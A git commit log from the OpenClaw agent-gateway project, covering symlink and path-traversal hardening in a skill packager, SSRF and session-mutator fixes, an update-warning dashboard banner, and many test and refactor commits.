## Security Fixes

1. Symlink Detection and Rejection
   - Added check to detect and reject symlinks in skill directories
   - Prevents attackers from including arbitrary system files via symlink following
   - Rejects packaging with error message if any symlink is found

2. Path Traversal (Zip Slip) Prevention
   - Added validation for arcname paths in zip archives
   - Rejects paths containing ".." (directory traversal)
   - Rejects absolute paths that could escape skill directory
   - Prevents attackers from overwriting system files during extraction

## Attack Vectors Mitigated

- Symlink following: Attacker creates symlink to /etc/passwd or other
  sensitive files in skill directory → now rejected
- Zip Slip: Attacker crafts paths with "../../root/.bashrc" to overwrite
  system files during extraction → now rejected

## Changes

- Modified: skills/skill-creator/scripts/package_skill.py
  - Added symlink check (line 73-76)
  - Added path validation check (line 84-87)
  - Enhanced error messages for security violations

- Added: skills/skill-creator/scripts/test_package_skill.py
  - Comprehensive test suite with 11 test cases
  - Tests for symlink rejection
  - Tests for path traversal prevention
  - Tests for normal file packaging
  - Tests for edge cases (nested files, multiple files, large skills)

## Testing

All 11 tests pass:
- test_normal_file_packaging: Normal files packaged correctly
- test_symlink_rejection: Symlinks detected and rejected
- test_symlink_to_sensitive_file: Sensitive file symlinks rejected
- test_zip_slip_prevention: Normal subdirectories work properly
- test_absolute_path_prevention: Path validation logic tested
- test_nested_files_allowed: Properly nested files allowed
- test_multiple_files_with_symlink_mixed: Single symlink fails entire package
- test_large_skill_with_many_files: Large skills handled correctly
- test_missing_skill_directory: Error handling verified
- test_file_instead_of_directory: Error handling verified
- test_missing_skill_md: Error handling verified
2026-02-19 10:56:17 +01:00
Peter Steinberger
c06ad38a71 test(voice-call): merge provider credential source cases 2026-02-19 09:55:43 +00:00
Vincent Koc
981d266480 security(gateway): block webchat session mutators (#20800)
* chore(ci): local claude settings gitignore

* Gateway: block webchat session mutators

* Changelog: note webchat session mutator guard

* Changelog: credit report for webchat mutator guard
2026-02-19 01:54:02 -08:00
Peter Steinberger
32ba62dc69 test(bluebubbles): merge setGroupIcon credential checks 2026-02-19 09:51:35 +00:00
Peter Steinberger
fa726792ce refactor(agents): dedupe pi subscribe e2e stream fixtures 2026-02-19 09:50:00 +00:00
Peter Steinberger
150a76ca9a test(agents): add shared subscribe stream emit helpers 2026-02-19 09:50:00 +00:00
Peter Steinberger
0c1d3b866c test(bluebubbles): collapse duplicate credential and chatGuid cases 2026-02-19 09:48:47 +00:00
Peter Steinberger
7255c20ddc fix(docker): harden docker-setup mount validation 2026-02-19 10:44:46 +01:00
Peter Steinberger
02123e591c refactor(lobster): extract windows spawn resolver 2026-02-19 10:44:22 +01:00
Peter Steinberger
96a3d5bce8 test: collapse duplicate unhandled rejection fatal cases 2026-02-19 09:40:30 +00:00
Mariano
8e6d1e6368 LINE/Security: harden inbound media temp-file naming (#20792)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f6f3eecdb3
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 09:37:33 +00:00
Peter Steinberger
6b14498d2f test(lobster): use lobster.exe in windows plugin path case 2026-02-19 09:35:38 +00:00
Vincent Koc
f38e1a8d82 chore(format): align oxfmt local/CI behavior (#12579)
* chore(format): align oxfmt local/CI behavior
2026-02-19 01:31:33 -08:00
Peter Steinberger
8b34719b3a style: apply oxfmt import ordering for ci 2026-02-19 09:26:29 +00:00
Peter Steinberger
d05c8eb912 refactor: unify SSRF hostname/ip precheck and add policy regression 2026-02-19 10:25:31 +01:00
Peter Steinberger
b4792c7362 style: format fs-safe and web media 2026-02-19 09:25:12 +00:00
Peter Steinberger
c241bf0049 test: dedupe voice-call provider config validation cases 2026-02-19 09:24:09 +00:00
Peter Steinberger
ba7be018da fix(security): remove lobster windows shell fallback 2026-02-19 10:22:59 +01:00
Peter Steinberger
947e11c33a test(gateway): dedupe agent payload and stream fixtures 2026-02-19 09:22:16 +00:00
Peter Steinberger
b96419fab9 test(agents): share pi-tools sandbox fixture context 2026-02-19 09:22:16 +00:00
Peter Steinberger
bf3f8ec428 refactor(media): unify safe local file reads 2026-02-19 10:21:20 +01:00
Mariano Belinky
65a7fc6de7 Changelog: note Feishu traversal hardening 2026-02-19 10:14:31 +01:00
Mariano Belinky
c821099157 Feishu: harden temp media download paths 2026-02-19 10:13:48 +01:00
Peter Steinberger
90b05b18f1 test: collapse duplicate onboard auth assertions 2026-02-19 09:13:16 +00:00
Peter Steinberger
317b7d363d test(agents): dedupe subscribe reasoning tag fixtures 2026-02-19 09:11:13 +00:00
Peter Steinberger
749edf25ca test: dedupe repeated onboarding provider config cases 2026-02-19 09:08:48 +00:00
Peter Steinberger
6f568f3b17 test(agents): dedupe media and thinking sanitize test setup 2026-02-19 09:06:28 +00:00
Peter Steinberger
4c539f6abc test(agents): dedupe subagent registry test mocks 2026-02-19 09:03:48 +00:00
Peter Steinberger
0900ec38a9 test(agents): dedupe copilot models-config token setup 2026-02-19 09:03:48 +00:00
Peter Steinberger
b4dbe03298 refactor: unify restart gating and update availability sync 2026-02-19 10:00:41 +01:00
Peter Steinberger
18179fc2c1 ci: move bun push-skip condition out of job-level matrix if 2026-02-19 08:59:58 +00:00
Peter Steinberger
d51929ecb5 fix: block ISATAP SSRF bypass via shared host/ip guard 2026-02-19 09:59:47 +01:00
Peter Steinberger
4cd5fad14b style: sort media store test imports 2026-02-19 08:57:20 +00:00
Peter Steinberger
47bfb765a1 ci: skip bun matrix steps on push runs 2026-02-19 08:57:20 +00:00
Peter Steinberger
745068a597 test(agents): share overflow retry compaction fixture 2026-02-19 08:55:33 +00:00
Peter Steinberger
b41fd20741 test(agents): share assistant error message test fixture 2026-02-19 08:55:33 +00:00
Peter Steinberger
f57ba32f88 ci: skip bun matrix lane on push 2026-02-19 08:54:30 +00:00
Peter Steinberger
4344699574 build: regenerate swift protocol models for updateAvailable 2026-02-19 08:54:30 +00:00
Gustavo Madeira Santana
5a98a7984b Remove triage order section from PR_WORKFLOW.md
Removed the section on triage order from the PR workflow document.
2026-02-19 03:52:06 -05:00
Peter Steinberger
cfc5e7bd82 fix(media): harden saveMediaSource against symlink TOCTOU 2026-02-19 09:51:57 +01:00
Peter Steinberger
5e7cffc568 test: merge duplicate plugin memory-none cases 2026-02-19 08:51:38 +00:00
Peter Steinberger
28377b1506 test: merge logger subsystem prefix drop cases 2026-02-19 08:49:52 +00:00
Peter Steinberger
34ddf0edc0 style: format gateway health state and ui render 2026-02-19 08:49:38 +00:00
Peter Steinberger
d1cb779f5f test(agents): dedupe embedded runner and sessions lifecycle fixtures 2026-02-19 08:47:14 +00:00
Peter Steinberger
c9b5def1b8 test(agents): dedupe openai reasoning replay fixtures 2026-02-19 08:44:37 +00:00
Peter Steinberger
50805d8977 test(agents): dedupe patch and cli credential assertions 2026-02-19 08:44:37 +00:00
Peter Steinberger
429b8783fd test(agents): dedupe avatar and compaction fixtures 2026-02-19 08:44:37 +00:00
Peter Steinberger
586b1f6ee6 ci: drop docker metadata action to avoid API throttling 2026-02-19 08:44:32 +00:00
orlyjamie
2ddc13cdb7 feat(ui): add update warning banner to control dashboard
SecurityScorecard's STRIKE research recently identified over 40,000
exposed OpenClaw gateway instances, with 35.4% running known-vulnerable
versions. The gateway already performs an npm update check on startup
and compares against the registry every 24 hours — but the result is
only logged to the server console. The control UI has zero visibility
into whether the running version is outdated, which means operators
have no idea they're exposed unless they happen to read server logs.

OpenClaw's user base is broadening well beyond developers who live in
terminals. Self-hosters, small teams, and non-technical operators are
deploying gateways and relying on the control dashboard as their
primary management interface. For these users, security has to be
surfaced where they already are — not hidden behind CLI output they
will never see. Making version awareness frictionless and actionable
is a prerequisite for reducing that 35.4% number.

This PR adds a sticky red warning banner to the top of the control UI
content area whenever the gateway detects it is running behind the
latest published version. The banner includes an "Update now" button
wired to the existing update.run RPC (the same mechanism the config
page already uses), so operators can act immediately without switching
to a terminal.

Server side:
- Cache the update check result in a module-level variable with a
  typed UpdateAvailable shape (currentVersion, latestVersion, channel)
- Export a getUpdateAvailable() getter for the rest of the process
- Add an optional updateAvailable field to SnapshotSchema (backward
  compatible — old clients ignore it, old servers simply omit it)
- Include the cached update status in buildGatewaySnapshot() so it
  is delivered to every UI client on connect and reconnect

UI side:
- Add updateAvailable to GatewayHost, AppViewState, and the app's
  reactive state so it flows through the standard snapshot pipeline
- Extract updateAvailable from the hello snapshot in applySnapshot()
- Render a .update-banner.callout.danger element with role="alert"
  as the first child of <main>, before the content header
- Wire the "Update now" button to runUpdate(state), the same
  controller function used by the config tab
- Use position:sticky and negative margins to pin the banner
  edge-to-edge at the top of the scrollable content area
2026-02-19 09:43:45 +01:00
Peter Steinberger
13f2fa0c5c ci: avoid bun setup API flake in node checks 2026-02-19 08:41:31 +00:00
Peter Steinberger
64546d33ee test(cli): dedupe cron edit existing-job lookup mocks 2026-02-19 08:38:50 +00:00
Peter Steinberger
072b16b58f ci: use git context for docker metadata extraction 2026-02-19 08:37:36 +00:00
Peter Steinberger
647a46a061 ci: skip bun setup for windows checks 2026-02-19 08:36:08 +00:00
Peter Steinberger
65cf56d482 test(agents): dedupe generic repeat loop fixtures 2026-02-19 08:33:49 +00:00
Peter Steinberger
e4bb6e044d test(cron): dedupe delayed-timer job assertions 2026-02-19 08:32:58 +00:00
Peter Steinberger
cdee433332 test(browser): dedupe explicit auth-mode auto-token checks 2026-02-19 08:32:58 +00:00
Peter Steinberger
7d12c5ea4d test: remove duplicate extra-high think-level case 2026-02-19 08:30:26 +00:00
Peter Steinberger
3cfcb25999 test(agents): dedupe transcript duplicate-tool fixtures 2026-02-19 08:29:06 +00:00
Peter Steinberger
c4c2060b81 test(agents): dedupe sessions_spawn requester run setup 2026-02-19 08:29:06 +00:00
Peter Steinberger
47bbef30f9 test: merge duplicate undefined api-key persistence checks 2026-02-19 08:27:40 +00:00
Peter Steinberger
fe3bd9d65b test: merge duplicate gateway token coercion checks 2026-02-19 08:26:43 +00:00
Peter Steinberger
1481160484 test(cli): dedupe browser state command setup 2026-02-19 08:25:12 +00:00
Peter Steinberger
a76f552b00 test(agents): dedupe workspace memory-entry assertions 2026-02-19 08:25:12 +00:00
Peter Steinberger
53a4e5151d test(agents): dedupe tool image fixture setup 2026-02-19 08:25:12 +00:00
Peter Steinberger
69e6da0e28 test(auto-reply): dedupe heartbeat typing flow setup 2026-02-19 08:25:12 +00:00
Peter Steinberger
3c7c45e153 test(gateway): dedupe config.apply request scaffolding 2026-02-19 08:25:12 +00:00
Peter Steinberger
e0c3cc4981 test(browser): dedupe auth mode no-token assertions 2026-02-19 08:25:12 +00:00
Peter Steinberger
edce5a505a test(cron): dedupe applyJobPatch fixture setup 2026-02-19 08:25:12 +00:00
Peter Steinberger
733e385843 test(hooks): dedupe gmail runtime path assertions 2026-02-19 08:25:12 +00:00
Peter Steinberger
d8b720cc5f test(config): dedupe model provider fixture setup 2026-02-19 08:25:12 +00:00
Peter Steinberger
8bb1747ad9 test(gateway): dedupe assistant chat event assertions 2026-02-19 08:25:12 +00:00
Peter Steinberger
644d037969 test(config): dedupe OPENCLAW_HOME path assertions 2026-02-19 08:25:12 +00:00
Peter Steinberger
ab924eb522 test(infra): dedupe outbound recovery test scaffolding 2026-02-19 08:25:12 +00:00
Peter Steinberger
4e5cffe4c9 test: fix flaky run-node spawn side-effects 2026-02-19 08:24:55 +00:00
Peter Steinberger
9c2640a810 docs: clarify WhatsApp group allowlist and reply mention behavior 2026-02-19 09:19:34 +01:00
Peter Steinberger
ad4c784f20 test: collapse duplicate gateway token-generation cases 2026-02-19 08:15:32 +00:00
Peter Steinberger
b78fa57401 test: remove duplicate telegram de-linkify case 2026-02-19 08:11:42 +00:00
Vignesh Natarajan
d3dab089d7 fix: preserve reasoning stream partial contract (#20635) (thanks @obviyus) 2026-02-19 00:05:10 -08:00
Vignesh Natarajan
0ff506140d fix: clear matched tool errors and dedupe reasoning end 2026-02-19 00:05:10 -08:00
Ayaan Zaidi
221d50bc18 fix: preserve assistant partial stream during reasoning 2026-02-19 00:05:10 -08:00
Peter Steinberger
2cbf15eb66 ci: pin bun setup version to avoid API rate-limit flakes 2026-02-19 08:04:18 +00:00
Peter Steinberger
b97b8908b9 test: remove duplicate telegram .co link formatting case 2026-02-19 08:00:05 +00:00
Peter Steinberger
5f2bcfc4d2 ci: skip bun bootstrap in check and docs-check jobs 2026-02-19 07:58:54 +00:00
Peter Steinberger
9a490fbbeb test: drop duplicate followup compaction token assertion 2026-02-19 07:57:24 +00:00
Peter Steinberger
a82a41236e test(web): dedupe creds-update trigger helper in session tests 2026-02-19 07:52:32 +00:00
Peter Steinberger
18d4ad6aab test: trim duplicate cross-context policy cases 2026-02-19 07:50:38 +00:00
Peter Steinberger
bbb07bdc19 test(media): dedupe active-model fallback resolver setup 2026-02-19 07:50:10 +00:00
Peter Steinberger
ca71b5cc51 test(shell-env): dedupe repeated login-shell path lookups 2026-02-19 07:50:10 +00:00
Nimrod Gutman
9bd2261c0f fix(ios): auto-generate local signing overrides (#20716) 2026-02-19 15:48:46 +08:00
Peter Steinberger
8d7df30ee0 test: remove duplicate target-resolution cases from outbound suite 2026-02-19 07:47:17 +00:00
Peter Steinberger
57ea6feb03 test(gateway): dedupe startup auth override token checks 2026-02-19 07:45:27 +00:00
Peter Steinberger
ccd68d8166 test(subagents): dedupe sessions_spawn model expectation paths 2026-02-19 07:45:27 +00:00
Peter Steinberger
d7b2efc2e7 test(agents): dedupe ping-pong loop test scaffolding 2026-02-19 07:45:27 +00:00
Peter Steinberger
3cb0c96740 test(image-tool): dedupe repeated image tool fixture assertions 2026-02-19 07:45:27 +00:00
Peter Steinberger
1c04f5fcbb style: format extension relay imports 2026-02-19 07:44:06 +00:00
Peter Steinberger
ff1189c6d6 test: remove duplicate inbound-meta coverage from reply-flow 2026-02-19 07:41:52 +00:00
Peter Steinberger
7e54b6c96f fix(browser): unify extension relay auth on gateway token 2026-02-19 08:40:40 +01:00
Peter Steinberger
781b1c1e09 test(memory): dedupe voyage embedding provider test setup 2026-02-19 07:37:06 +00:00
Peter Steinberger
bd4fdfc356 test(reply): dedupe compaction session fixture setup 2026-02-19 07:37:06 +00:00
Gustavo Madeira Santana
c5698caca3 Security: default gateway auth bootstrap and explicit mode none (#20686)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: be1b73182c
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 02:35:50 -05:00
Peter Steinberger
a2e846f649 test: drop duplicate skills-cli integration coverage 2026-02-19 07:33:37 +00:00
Peter Steinberger
a4da6cfd53 test(update-cli): dedupe restart script test setup helpers 2026-02-19 07:33:16 +00:00
Peter Steinberger
4c68a09f08 test(discord): dedupe gateway proxy runtime fixture 2026-02-19 07:33:16 +00:00
Peter Steinberger
5556675aae test(gateway): dedupe APNs wake fixture setup in node invoke tests 2026-02-19 07:33:16 +00:00
Peter Steinberger
87d8331150 docs: warn against third-party 1-click marketplace images 2026-02-19 08:30:29 +01:00
Peter Steinberger
1d71c21aac test(web): dedupe media-failure setup in deliver reply tests 2026-02-19 07:27:47 +00:00
Peter Steinberger
0383c79c9c test(cli): dedupe account-option assertion in message helper tests 2026-02-19 07:27:42 +00:00
Peter Steinberger
9ac6f46735 test(messaging): dedupe parser/proxy/followup test scaffolding 2026-02-19 07:24:02 +00:00
Peter Steinberger
c085c9e6d0 test(browser): dedupe CDP and download setup helpers 2026-02-19 07:24:02 +00:00
Peter Steinberger
192366e0e8 test: dedupe shell env coverage from infra runtime suite 2026-02-19 07:21:26 +00:00
Peter Steinberger
c37cf02f29 test: make shell env path cache tests platform deterministic 2026-02-19 07:02:33 +00:00
Peter Steinberger
231f2af7df refactor(config): dedupe redacted snapshot array/object restore paths 2026-02-19 07:01:54 +00:00
Peter Steinberger
742fb90571 test(queue): cover collect drain helper states 2026-02-19 07:01:54 +00:00
Peter Steinberger
b22deada9e refactor(queue): reuse collect-mode item drain flow 2026-02-19 07:01:54 +00:00
Peter Steinberger
2f6b8663ff refactor(shared): reuse outbound text chunking core 2026-02-19 07:01:54 +00:00
Peter Steinberger
d5c58ce8d9 test: normalize boot-md mock workspace paths for cross-platform 2026-02-19 06:43:45 +00:00
Peter Steinberger
858286aecb refactor(cli): centralize memory manager setup wiring 2026-02-19 06:43:36 +00:00
Peter Steinberger
fa31f1cad2 refactor(cli): reuse allowlist mutation flow in approvals CLI 2026-02-19 06:43:36 +00:00
Peter Steinberger
8d048d412f refactor(queue): share next-item drain helper across queue drains 2026-02-19 06:43:36 +00:00
Gustavo Madeira Santana
6355bae1f9 test: make boot-md startup integration workspace assertion cross-platform 2026-02-19 01:14:06 -05:00
vikpos
f855d0be4f fix: skip heartbeat when HEARTBEAT.md does not exist (#20461)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f6e5f8172a
Co-authored-by: vikpos <24960005+vikpos@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 01:09:33 -05:00
Marcus Castro
48e6b4fca3 fix: run BOOT.md for each configured agent at startup (#20569)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9098a4cc64
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 00:58:56 -05:00
Ayaan Zaidi
d17a1f387b fix(telegram): unify inbound handling for message-like updates (#20591)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 442a100071
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-19 09:54:47 +05:30
Ayaan Zaidi
6b05916c14 fix: gate Telegram exec tool warnings behind verbose mode (#20560)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7ce94931f0
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-19 09:05:49 +05:30
Gustavo Madeira Santana
b228c06bbd chore: polish PR review skills 2026-02-18 22:24:41 -05:00
青雲
3d4ef56044 fix: include provider and model name in billing error message (#20510)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 40dbdf62e8
Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-18 21:56:00 -05:00
Clawborn
2bb8ead187 Fix LaunchAgent missing TMPDIR causing SQLITE_CANTOPEN on macOS (#20512)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 25ba59765d
Co-authored-by: Clawborn <261310391+Clawborn@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-18 21:42:35 -05:00
Tyler Yust
c2b6f099c6 fix(agents): update SUBAGENT_SPAWN_ACCEPTED_NOTE to clarify response type 2026-02-18 16:57:13 -08:00
Peter Steinberger
e426a9bb6f refactor(config): reuse default group entry migration helper 2026-02-19 00:33:21 +00:00
Peter Steinberger
d6768098a1 refactor(security): share installed plugin directory scan helper 2026-02-19 00:29:07 +00:00
Peter Steinberger
6ae7e6fd1f refactor(config): reuse legacy audio transcription migration path 2026-02-19 00:29:00 +00:00
Peter Steinberger
2dd361c071 refactor(discord): share send target resolution and result mapping 2026-02-19 00:28:56 +00:00
Peter Steinberger
ac44190952 refactor(cli): dedupe device role validation for token ops 2026-02-19 00:28:51 +00:00
Peter Steinberger
c8bdefd8b4 refactor(security): reuse shared scan path containment helper 2026-02-19 00:20:15 +00:00
Peter Steinberger
ae2e6896da refactor(hooks): dedupe command result formatting 2026-02-19 00:20:10 +00:00
Peter Steinberger
aee002a39b refactor(agents): dedupe paragraph/newline break search in chunker 2026-02-19 00:17:38 +00:00
Peter Steinberger
989c9dbd37 refactor(auth): share remaining-time formatter 2026-02-19 00:17:31 +00:00
Peter Steinberger
b2c2737452 refactor(shared): reuse runtime entry requirement evaluator 2026-02-19 00:17:24 +00:00
Peter Steinberger
ef5d7cee22 refactor(agents): share fallback failure summary builder 2026-02-19 00:10:08 +00:00
Peter Steinberger
8e1f25631b test(agents): cover anthropic 4.6 forward-compat mapping 2026-02-19 00:06:30 +00:00
Peter Steinberger
cb9e098554 refactor(agents): dedupe anthropic 4.6 forward-compat resolver 2026-02-19 00:06:26 +00:00
Peter Steinberger
8b17a369e9 refactor(agents): share agent entry and block reply payload types 2026-02-19 00:06:19 +00:00
Peter Steinberger
5c5c032f42 refactor(security): share DM allowlist state resolver 2026-02-18 23:58:11 +00:00
Peter Steinberger
2709c0ba51 refactor(daemon): dedupe install output line writing 2026-02-18 23:58:05 +00:00
Peter Steinberger
89a0b95af4 refactor(security): reuse shared allowlist normalization 2026-02-18 23:48:32 +00:00
Peter Steinberger
54e9924fc3 refactor(agents): dedupe subagent inline text extraction 2026-02-18 23:48:32 +00:00
Peter Steinberger
3267f09264 refactor(node-host): extract invoke result helpers 2026-02-18 23:48:32 +00:00
Peter Steinberger
a376605812 refactor(infra): dedupe APNs send context setup 2026-02-18 23:48:32 +00:00
Peter Steinberger
aa8f87a3bf refactor(plugins): reuse plugin loader logger adapter 2026-02-18 23:48:32 +00:00
Peter Steinberger
a8ebe942aa refactor(cli): share camera clip file writer 2026-02-18 23:48:32 +00:00
Peter Steinberger
e368e74a92 test: dedupe validate-turns identity cases 2026-02-18 23:38:22 +00:00
Peter Steinberger
002f158da6 test: merge empty-id sanitize mode checks 2026-02-18 23:37:03 +00:00
Peter Steinberger
595246b58b test: merge context-window overflow variants 2026-02-18 23:35:51 +00:00
Peter Steinberger
cea586ba5a test: merge skills-cli json output cases 2026-02-18 23:34:47 +00:00
Peter Steinberger
5d9517767f refactor(config): share media provider request fields 2026-02-18 23:34:15 +00:00
Peter Steinberger
3f621d13ff refactor(cli): dedupe browser debug and download opts 2026-02-18 23:34:15 +00:00
Peter Steinberger
0048af4e2d refactor(commands): dedupe auth-choice model notes 2026-02-18 23:34:15 +00:00
Peter Steinberger
4e62bdf78d refactor(signal): reuse shared reaction types 2026-02-18 23:34:15 +00:00
Peter Steinberger
136bd59ba5 refactor(shared): centralize @/# slug normalization 2026-02-18 23:34:15 +00:00
Peter Steinberger
b366279030 refactor(shared): reuse node list parsers across cli and tools 2026-02-18 23:34:15 +00:00
Peter Steinberger
3b7c8fe79a refactor(cli): extract shared node media helpers 2026-02-18 23:34:15 +00:00
Peter Steinberger
65ef7fb4a4 test: dedupe empty-input mmr assertions 2026-02-18 23:33:15 +00:00
Peter Steinberger
317441d09a test: reuse chat-not-found assertion helper 2026-02-18 23:31:56 +00:00
Peter Steinberger
281e9110cc test: table-drive format-time timestamp assertions 2026-02-18 23:30:31 +00:00
Peter Steinberger
20849df702 test: merge media invalid-path scenarios 2026-02-18 23:28:53 +00:00
Peter Steinberger
6f3a6013e3 test: table-drive poll duration clamp cases 2026-02-18 23:27:50 +00:00
Peter Steinberger
5e7e63250a test: merge base64 oversize guard variants 2026-02-18 23:26:41 +00:00
Peter Steinberger
d743332d83 test: table-drive mime mapping assertions 2026-02-18 23:25:30 +00:00
Peter Steinberger
de826a62f9 test: merge telegram reaction scenarios 2026-02-18 23:23:38 +00:00
Peter Steinberger
03241498f9 test: table-drive telegram thread param cases 2026-02-18 23:22:26 +00:00
Peter Steinberger
c25a18493e test: merge direct announce origin variants 2026-02-18 23:21:03 +00:00
Peter Steinberger
1a030a544b test: table-drive sandbox formatter assertions 2026-02-18 23:19:33 +00:00
Peter Steinberger
c8e02329cd test: dedupe subagent announce fallback and thread assertions 2026-02-18 23:15:11 +00:00
Peter Steinberger
d54a4a08b2 refactor(auto-reply): dedupe allowlist path and name helpers 2026-02-18 23:09:09 +00:00
Peter Steinberger
f33ecae0bb refactor(config): dedupe native command setting resolver 2026-02-18 23:09:09 +00:00
Peter Steinberger
8b257703d8 refactor(auto-reply): reuse abort session-entry resolver 2026-02-18 23:09:09 +00:00
Peter Steinberger
c0c10f42e2 refactor(commands): share daemon runtime warning helper 2026-02-18 23:09:09 +00:00
Peter Steinberger
3ce615ff06 refactor(cli): share runtime status color rendering 2026-02-18 23:09:09 +00:00
Peter Steinberger
9a100d520d refactor(gateway): dedupe exec approvals node validation 2026-02-18 23:09:09 +00:00
Peter Steinberger
8e6a7a6343 refactor(models): reuse list format helpers in scan 2026-02-18 23:09:09 +00:00
Peter Steinberger
6eb0964fa6 refactor(auto-reply): share standard set/unset slash parsing 2026-02-18 23:09:09 +00:00
Peter Steinberger
6cbd00a3c6 test: simplify invalid-input fallback assertions in format-time 2026-02-18 22:51:01 +00:00
Peter Steinberger
bdb13d6c4c refactor(cron-cli): share enable-disable command wiring 2026-02-18 22:49:39 +00:00
Peter Steinberger
8369913c7a refactor(models): reuse validated config snapshot loader 2026-02-18 22:49:39 +00:00
Peter Steinberger
61c0c147ad refactor(update-cli): share timeout option validation 2026-02-18 22:49:39 +00:00
Peter Steinberger
b704bad8f3 test: merge telegram thread id normalization assertions 2026-02-18 22:47:28 +00:00
Peter Steinberger
c0e0d4c63d test: dedupe empty-array counter checks in sandbox formatters 2026-02-18 22:46:10 +00:00
Peter Steinberger
e9a37d7af2 test: merge telegram probe success retry variants 2026-02-18 22:44:37 +00:00
Peter Steinberger
3128bd2854 test: dedupe non-matching unhandled rejection cases 2026-02-18 22:42:39 +00:00
Peter Steinberger
3b481001d1 test: merge duplicate line carousel column-limit cases 2026-02-18 22:41:25 +00:00
Peter Steinberger
2157385ff6 refactor(auto-reply): share unique model catalog insertion 2026-02-18 22:40:26 +00:00
Peter Steinberger
c7458782b8 refactor(cli): dedupe service-load and command-removal loops 2026-02-18 22:40:26 +00:00
Peter Steinberger
5e76cefc70 refactor(gateway): share session store lookup map builder 2026-02-18 22:40:26 +00:00
Peter Steinberger
b4cba304e2 refactor(outbound): reuse required channel/plugin resolution 2026-02-18 22:40:26 +00:00
Peter Steinberger
a117e9fed6 refactor(outbound): share plugin send/poll dispatch path 2026-02-18 22:40:25 +00:00
Peter Steinberger
fc5bcebd0a perf(test): reduce channel health monitor check slack 2026-02-18 22:39:57 +00:00
Peter Steinberger
7e243d80fe test: dedupe line rich menu label truncation checks 2026-02-18 22:38:49 +00:00
Peter Steinberger
8a6b55e715 perf(test): tighten channel health monitor timer windows 2026-02-18 22:36:44 +00:00
Peter Steinberger
65002b2b4b perf(test): tighten subagent announce retry give-up wait 2026-02-18 22:33:38 +00:00
Peter Steinberger
bc38d9b844 refactor(tui): share select list theme styles 2026-02-18 22:31:45 +00:00
Peter Steinberger
f054cd6709 refactor(gateway): dedupe cron protocol param schemas 2026-02-18 22:31:45 +00:00
Peter Steinberger
bb0516655c perf(test): align node wake test waits with reconnect timeout 2026-02-18 22:31:19 +00:00
Peter Steinberger
7ebd213acf perf(test): dedupe telegram thread cases and tighten PTY timer 2026-02-18 22:29:31 +00:00
Peter Steinberger
6dd868f07e perf(test): trim bonjour watchdog post-stop timer advance 2026-02-18 22:26:27 +00:00
Peter Steinberger
9092d783a4 perf(test): tighten discord stall reaction test timing 2026-02-18 22:25:19 +00:00
Peter Steinberger
be1f2a1348 perf(test): drop timeout wrapper in async memory search test 2026-02-18 22:22:36 +00:00
Peter Steinberger
dfdeeaf4b9 perf(test): speed up telegram media retry tests 2026-02-18 22:21:05 +00:00
Peter Steinberger
ac4ae9ed61 refactor(browser): dedupe storage and download route parsing 2026-02-18 22:18:48 +00:00
Peter Steinberger
bb00eb2031 refactor(browser): reuse shared tab context in snapshot routes 2026-02-18 22:18:48 +00:00
Peter Steinberger
42f34af776 refactor(browser): share basic and tabs route helpers 2026-02-18 22:18:48 +00:00
Peter Steinberger
ba49b970df perf(test): reduce discord stall timer advance window 2026-02-18 22:16:23 +00:00
Peter Steinberger
cb488df572 perf(test): tighten fake timer windows in channel restart tests 2026-02-18 22:11:56 +00:00
Peter Steinberger
8b4d449dbc perf(test): use setImmediate for node invoke bypass yields 2026-02-18 22:09:48 +00:00
Peter Steinberger
671560616a perf(test): use expect.poll in browserless live test 2026-02-18 22:06:44 +00:00
Peter Steinberger
8b09694882 perf(test): simplify shutdown rejection tick wait 2026-02-18 22:05:40 +00:00
Peter Steinberger
06d2752a0f refactor(browser): dedupe tab route profile and error handling 2026-02-18 22:05:11 +00:00
Peter Steinberger
66c1b8b4f1 perf(test): batch channel health monitor timer advances 2026-02-18 22:01:46 +00:00
Peter Steinberger
b30e3467ee refactor(browser): reuse shared route context in agent act routes 2026-02-18 22:01:28 +00:00
Peter Steinberger
b76e19ceb7 test(browser): cover shared and storage route parsing helpers 2026-02-18 21:58:08 +00:00
Peter Steinberger
5d98c2ae7e refactor(browser): share playwright route context for debug/storage routes 2026-02-18 21:58:08 +00:00
Peter Steinberger
c4eaf7d0c2 perf(test): batch retry timer advances in telegram probe tests 2026-02-18 21:57:47 +00:00
Peter Steinberger
d071f49676 perf(test): batch fake-timer advance in discord process test 2026-02-18 21:55:33 +00:00
Peter Steinberger
a011361784 perf(test): remove timer callbacks in command queue tests 2026-02-18 21:53:57 +00:00
Peter Steinberger
f3b7b51132 perf(test): remove fixed waits in node invoke bypass e2e 2026-02-18 21:52:55 +00:00
Peter Steinberger
48b0b55fa4 test: make shell-env cache assertions windows-safe 2026-02-18 21:51:08 +00:00
Xinhe Hu
